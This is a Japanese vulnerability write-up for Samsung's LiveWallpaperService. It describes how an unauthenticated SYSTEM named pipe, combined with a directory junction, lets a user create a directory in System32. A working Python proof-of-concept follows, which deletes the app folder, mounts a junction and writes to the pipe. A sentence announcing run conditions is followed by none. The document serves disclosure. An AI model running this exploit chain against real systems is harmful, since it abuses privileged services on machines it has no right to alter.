
LiveWallpaperServiceのバージョン3.0.9.0以前における不適切なアクセス制御により、適切な権限なしに特定の名前のシステムディレクトリを作成できる。
テスト済み Windows バージョン: Windows 10 20H2(ビルド 19042.1348)64bit
Live Wallpaper バージョン: 3.0.9.0 以前
Samsung 製ノートパソコンではデフォルトで動作する LiveWallpaperService が存在しますが、SYSTEM サービス内で SYSTEM 特権を持つディレクトリに SYSTEM ディレクトリを作成する脆弱性がありました。
Live Wallpaper は通常 Samsung 製ノートパソコンにプリインストールされていますが、Microsoft Store から入手可能なアプリでもあります。このアプリは User 権限で実行でき、名前付きパイプ(Named PIPE)IPC を通じてサーバーとクライアント間で通信します。この際、PIPE サーバーは SYSTEM 特権で動作しており、クライアントの確認を行いません。
以下は、対応するアプリが起動された際に行われる処理の流れです。
サーバーは Unicode 文字列 '33;' を受信すると、'C:\Users{username}\AppData\Local\Packages\Sidia.LiveWallpaper_wkpx6gdq8qyz8' フォルダにアクセスし、LiveWallpaperData ディレクトリの存在を確認します。そして、そのディレクトリ内に 'LiveWallpaperData' という名前の新しいファイルシステムディレクトリが作成されます。
プロセス間の通信には名前付きパイプ(Named PIPE)が使用されます。個別のクライアント検査がないため、攻撃者は直接パイプを開き、任意のデータを送信できます。
まず、名前付きパイプを直接開いた後、James Forshaw 氏作成の symboliclink-testing-tools を使用して C:\Windows\System32 へのディレクトリジャンクションを作成します。これにより、System32 ディレクトリのサブディレクトリとして特権付きで作成されます。
以下がその脆弱性の PoC です。
PoC を実行するには、以下の条件を満たす必要があります。
# python 3.7.2
import os
import shutil
import time
import getpass
def stringToWstring(st : str) -> str:
result = ''
for i in st:
result += i+'\x00'
return result
def main():
# current user name
username = getpass.getuser()
# path settings
path1 = f'C:\\Users\\{username}\\AppData\\Local\\Packages\\Sidia.LiveWallpaper_wkpx6gdq8qyz8'
path2 = 'C:\\Windows\\System32'
# delete directory
if os.path.isdir(path1):
shutil.rmtree(path1)
# create directory junction
command = f'CreateMountPoint.exe "{path1}" "{path2}"'
os.system(command)
# write data to named pipe
with open('\\\\.\\pipe\\LiveWallpaperPipe', 'a') as f:
f.write(stringToWstring('33;'))
# IPC delay time
time.sleep(2)
# directory check
if os.path.isdir(path2+'\\LiveWallpaperData'):
print('[+] Success')
else:
print('[-] failed')
# delete directory junction
command = f'DeleteMountPoint.exe {path1}'
os.system(command)
shutil.rmtree(path1)
if __name__=='__main__':
main()